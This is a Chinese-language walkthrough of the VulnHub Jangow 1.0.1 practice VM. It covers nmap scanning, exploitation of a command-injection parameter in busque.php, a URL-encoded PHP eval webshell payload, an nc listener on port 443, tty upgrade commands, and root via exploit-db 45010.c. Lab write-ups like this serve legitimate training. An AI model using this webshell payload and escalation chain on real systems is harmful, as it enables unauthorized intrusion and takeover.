打靶笔记-04-vulnhub-Jangow

前面两篇名称写成了vulhub，已经更改为vulnhub;vulhub的之后再找个时间集中打一遍。

一、靶机信息

Name: Jangow: 1.0.1 （Easy）

Date release: 4 Nov 2021

Author: Jangow

Series: Jangow

二、启动靶机

2.1 校验靶机

2.2 导入Vbox，配置网络

因为攻击机器都在vmware上，所以还是将靶机网络桥接到vmnet8网卡上。

2.3 打快照，启动靶机

没啥好说的，以防万一，打个快照启动

可以直接看到ip地址，不过按照实际中的话时看不到这个界面的。

三、开始打靶

3.1 信息搜集

3.1.1 主机发现

ifconfig

sudo arp-scan -I eth0 -l

获得靶机IP 172.16.95.140

3.1.2 端口发现

sudo nmap -p- 172.16.95.140

只开放22和80端口

3.1.3 进一步确认端口背后服务以及具体版本号

sudo nmap -sV -p22,80 172.16.95.140

可以看到22端口是filtered的状态，也就是22端口被防火墙过滤了，80端口对应的是Apache httpd 2.4.18

3.1.4 使用nmap默认脚本扫描

sudo nmap -sC -p22,80 172.16.95.140

貌似没有啥发现，80端口也挂载的是普通页面，先看看去

3.2 开始渗透

3.2.1 访问80端口

是个目录，继续点，发现是个网页，然后里面有一个目录链接site，继续点

最后发现个链接指向一个busque.php文件，并且拥有参数buscar可以接收值，但不知道干啥用的，最后经过fuzz测试，确定为命令执行

3.2.2 信息收集

既然是命令执行，那就可以直接来一波简单的信息收集

id

pwd

ls

ls ./wordpress

cat ./wordpress

在进行常规信息搜集后，发现有一个wordpress的目录，并且还获取到了数据库账

不过以上好像没啥用，数据库也无法访问，也没有更多有用的目录。

3.2.3 写入小马

因为命令执行，所以尝试了各种姿势反弹shell，可能是水平不够，wget也无法下载到远程服务器上的马儿，所以就开始尝试写入小马

http://172.16.95.140/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27ant%27]);?%3E%27%20%3E1.php

成功写入，上蚁剑，连接成功

继续收集信息，获得用户jangow01家目录下有个user.txt，内容似乎是md5加密的，可以顺手破解一下，不过好像是空的，没有任何内容，奇怪

翻了翻其他目录在html目录下发现.backup文件，里面是用户jangow01的mysql账户密码

然后尝试上传反弹shell的php文件也无法反弹成功

3.2.4 反弹shell

蚁剑虽然连接成功了，但是shell最终还是个webshell，可干的事儿有限，所以还是的反弹shell提权

经历过刚刚命令执行反弹shell失败，然后尝试上传反弹shell的php文件也失败了，联想刚开始端口扫描时22端口被过滤的情况，应该是目标机器防火墙搞得鬼。

不过好在目标机器nc可以使用，不过最终也没有反弹成功，因为它无法带-e参数。

=-=

打到这儿自己就没思路了，最后查看了别人的攻略，这儿的关键点在于目标机器防火墙对进出的端口进行了限制，最后尝试了443端口可以成功利用

nc -lvnp 443

3.2.5 升级shell为tty

which python python2 python3 py py2 py3

python -c 'import pty;pty.spawn("/bin/bash")';

export TERM=xterm-256color

stty raw -echo;fg

3.2.6 寻找漏洞提权

升级shell之后，就可以sudo和su了，结合之前发现的两个mysql账户名密码，尝试了以下切换用户，结果mysql的账户密码和系统的账户密码一致。

然后尝试sudo的时候失败了，好像不是英文，不过看到了个sudoer，猜测应该是提示这个用户不再sudoer文件中，也就是没有sudo的权限。

那就看看有没有其他漏洞可以利用吧

uname -r

uname -a

lsb_release -a

ubuntu的版本为16.04.1 LTS

searchsploit Linux Kernel 4.4.

这个搜索到的有很多看着比较符合，不过这个有点意思的是有个在windows的分类下，有点奇怪，先拿它看看

sudo cp /usr/share/exploitdb/exploits/windows_x86-64/local/47170.c /var/www/html/test.c

然后在目标机器上下载test.c，结果都无法搞定，应该是对方防火墙导致的。

=-=，一会儿提权成功一定要看下它的防火墙策略，最后通过蚁剑传了过去，不过gcc编译失败了

继续换linux/local/45010.c

sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

然后还是通过蚁剑上传编译执行，最后成功拿到root权限

ls

gcc -o exp 45010.c

chmod +x exp

./exp

id

3.2.7 查看防火墙

bash

sudo ufw status

果然，=-=，禁止访问任何端口，除了443

关闭防火墙，可以成功访问，真变态

四、总结

这个靶机难点就是能够找到唯一可利用的443端口进行反弹shell，没有这个端口，有再多的反弹姿势，防火墙拦截的死死的，除非能用webshell进行本地提权，这个不现实，至少对我来说是的，能力不够

然后看到别人有批量提权的脚本，先记录下，随后的靶机中尝试以下

linux 提权辅助脚本

敖～，果然特么神器=-=

原谅我这个菜鸡现在才找到这些神器，应该在自己犯懒的时候先找下有没有懒人神器，没有的话自己总结搞一个，加油～～～